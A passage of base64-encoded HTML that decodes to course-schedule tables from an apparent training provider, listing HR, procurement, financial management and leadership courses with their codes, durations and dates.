PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25nPjwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlRvdXJpc20gTWFya2V0aW5nIGFuZCBEZXZlbG9w bWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjAzIC0gMDcgRmViIC8gMjMgLSAyNyBKdW4gLyAyOCBKdWwgLSAx QXVnPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Pcmdhbml6YXRpb24gUmVz dHJ1Y3R1cmluZyAmYW1wOyBDaGFuZ2UgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAt IDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPkhSIE1ndCZhbXA7IFBlcmZvcm1hbmNlIEVuaGFuY2VtZW50ICh3 aXRoIENvbXB1dGVyIEFwcGxpY2F0aW9ucyk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjcgSmFuIC0gMDcgRmVi IC8gMjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92PC90ZD48L3RyPjx0cj48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBIdW1hbiBSZXNvdXJjZXMgKFdpdGggQ29tcHV0 ZXIgQXBwbGljYXRpb25zKTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVn IC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk1hbmFn ZW1lbnQgRGV2LiBQcm9ncmFtbWUgZm9yIFBBcyAmYW1wOyBBZG1pbmlzdHJhdG9yczwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TdXBlcnZpc29yeSAmYW1wOyBPcGVy YXRpb25zIE1hbmFnZW1lbnQod2l0aCBDb21wdXRlciBBcHBsaWNhdGlvbnMpPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwv dHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkdyaWV2YW5jZSBIYW5kbGluZyBhbmQgSFIg TWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yNyBKYW4gLSAwNyBGZWIgLyAyOCBKdWwgLSAwOCBB dWcgLyAyNyBPY3QgLSAwNyBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAwOTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PlN0cmF0ZWdpYyBIdW1hbiBSZXNvdXJjZSBNYW5hZ2VtZW50ICh3aXRoIENvbXB1dGVyIEFw cGxpY2F0aW9ucyk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEyIEF1ZyAvIDA3 IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMTA8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Xb3JrcGxhY2Ug Q291bnNlbGluZyAmYW1wOyBlbXBsb3llZSB3ZWxmYXJlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MjcgSmFuIC0gMDcgRmViIC8gMjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92 PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTE8L3N0 cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5PZmZpY2UgQWRtaW4mYW1wOyBC dXNpbmVzcyBNZXRob2RzICh3aXRoIENvbXB1dGVyIEFwcGxpY2F0aW9ucyk8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wMiAtIDA2IE1heSAvIDA1IC0gMDkgU2VwdCAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTI8L3N0cm9uZz48L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5MYWJvciBSZWxhdGlvbnMgJmFtcDsgQ29uZmxpY3Qg TWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yNyBKYW4gLSAwNyBGZWIgLyAyOCBKdWwgLSAwOCBB dWcgLyAyNyBPY3QgLSAwNyBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAxMzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PlBlcmZvcm1hbmNlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4x IFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAy MCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMTQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5UcmFpbmVycyAmYW1wOyBFZHVjYXRvcnMgV29ya3Nob3A8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBG ZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTU8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Db25zdWx0YW5jeSAmYW1wOyBBZHZpc29yeSBTZXJ2aWNl cyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAw NyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDE2PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+TWFuYWdlbWVu dCBTa2lsbHMgZm9yIEV4Y2VsbGVuY2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4y IFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjcgSmFuIC0gMDcgRmViIC8g MjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJj b2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7 IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9 ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJp ZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0cm9uZz5QUk9DVVJFTUVOVCBB TkQgQ09NTUVSQ0lBTCBDT1VSU0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNl bGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjkzNSIgc3R5bGU9ImNvbG9y OiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9u dC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz5QQzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPlByb2N1cmVtZW50IGFuZCBTdXBwbHkgQ2hhaW4gTWFuYWdlbWVudDwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlByb2N1cmVtZW50ICZhbXA7IENvbnRy YWN0cyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwg LyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij48c3Ryb25nPjAwMzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlBy b2N1cmVtZW50ICZhbXA7IFB1cmNoYXNpbmc8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIg LyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Db21tZXJjaWFsIGFuZCBwcm9jdXJlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5 IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPkFmcmljYSBQcm9jdXJlbWVudCBjb3Vyc2U8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBG ZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Db250cmFjdCBhbmQgU3VwcGxpZXIgTWFuYWdlbWVudDwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNzwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkVmZmVjdGl2ZSBOZWdvdGlhdGlv bnMgY291cnNlPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBP Y3QgLSAwNCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwODwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkltcG9ydGFu Y2Ugb2YgUHVyY2hhc2luZyBDb250cmFjdHM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAw MSAtIDEyIEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMDk8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5JbnRyb2R1Y3Rpb24gdG8gTmVnb3RpYXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBB cHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+Um9sZSBhbmQgU2NvcGUgb2YgUHVyY2hhc2luZzwvdGQ+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRy Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPlN1cHBseSBDaGFpbiBhbmQgTWF0ZXJpYWxzIE1hbmFn ZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0g MDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MTI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TeXN0ZW1zIGFuZCBQ cm9jZWR1cmVzIGluIFB1cmNoYXNpbmc8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4y IFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAt IDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PHAg c3R5bGU9Im1hcmdpbjowcHg7cGFkZGluZzowcHg7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJn YigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNp emU6IHNtYWxsOyB3aWRvd3M6IDE7Ij4mbmJzcDs8L3NwYW4+PGJyIHN0eWxlPSJjb2xvcjog cmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQt c2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxzdHJvbmc+RklOQU5DSUFMIE1BTkFHRU1FTlQg Q09VUlNFUzwvc3Ryb25nPjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIg Y2VsbHNwYWNpbmc9IjAiIHdpZHRoPSI5NDAiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwg MzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7 IHdpZG93czogMTsiPjx0Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+Rk08L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkNP VVJTRSBUSVRMRTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+RHVyYXRpb248L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPkRhdGVzPC9zdHJvbmc+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMDE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5B ZHZhbmNlZCBBdWRpdGluZyBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAwOCBKYW4gLyAw OSAtIDEzIE1heSAvIDI1IC0gMjkgSnVsPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5BZHZhbmNlZCBCdWRnZXRpbmcgYW5kIEJ1ZGdldGFyeSBDb250cm9sPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjExIC0gMjIgSmFuIC8gMTUgLSAyNiBBdWcgLyAxOSZuYnNwOyAtIDMwIFNlcHQ8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMzwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIERlYnQgTWFuYWdlbWVu dDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjMgV2Vla3M8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4wNCAtIDIyIEphbiAvIDA0IC0gMjIgSnVsIC8gMDcgLSAyNSBOb3Y8 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIEZpbmFuY2lhbCBN YW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjI1IEphbiAtIDA1IEZlYiAvIDA0IC0gMTUgSnVsIC8g MTAgLSAyMSBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkF1ZGl0aW5n IGFuZCBJbnRlcm5hbCBDb250cm9sPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBX ZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0 IEp1biAvIDAxIC0gMDUgQXVnPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5C dWRnZXRpbmcgYW5kIEJ1ZGdldGFyeSBDb250cm9sPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQg TWFyIC8gMjUgLSAyOSBKdWwmbmJzcDsgLyAxNCAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+Q3JlZGl0IE1hbmFnZW1lbnQgLE1vbml0b3JpbmcgYW5kIENv bnRyb2w8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAwNiAtIDEwIEp1biAvIDI0IC0g MjggT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDg8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5DYXNoIE1ndCZhbXA7 IEJhbmsgUmVjb24uIGZvciBGaW5hbmNpYWwgJmFtcDsgQWNjb3VudGluZyBvZmZpY2Vyczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4yNSBKYW4gLSAwNSBGZWIgLyAyNSBKdWx5IC0gMDUgQXVnIC8gMjQgT2N0 IC0gMDQgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDk8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5GaW5hbmNpYWwg TWFuYWdlbWVudCBmb3IgRGVidCBNYW5hZ2VyIGFuZCBBZG1pbmlzdHJhdG9yczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4yMiBGZWIgLSA3IE1hciAvIDI2IE1heSAtIDA2IEp1biAvIDEzIC0gMjQgT2N0PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTA8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5GaW5hbmNpYWwgTWFuYWdlbWVudCBm b3IgUHJvamVjdCBBY2NvdW50YW50czwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIg V2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xMSAtIDIyIEphbiAvIDE1IC0g MjYgQXVnIC8gMDMgLSAxNCBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PkZpbmFuY2lhbCBNYW5hZ2VtZW50IGZvciBQZW5zaW9uIEFkbWluaXN0cmF0b3JzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0IEp1biAvIDAxIC0gMDUgQXVnPC90ZD48L3Ry PjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWws IHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNwOzwvc3Bh bj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlh bCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0cm9uZz5F WEVDVVRJVkUgJmFtcDsgTEVBREVSU0hJUCBERVZFTE9QRU1FTlQgQ09VUlNFUzwvc3Ryb25n PjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi IHdpZHRoPSI5NDEiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWls eTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0 Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RUxEPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8L3N0 cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9uPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwvc3Ry b25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAx PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgTGVhZGVy c2hpcCBEZXZlbG9wbWVudCBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 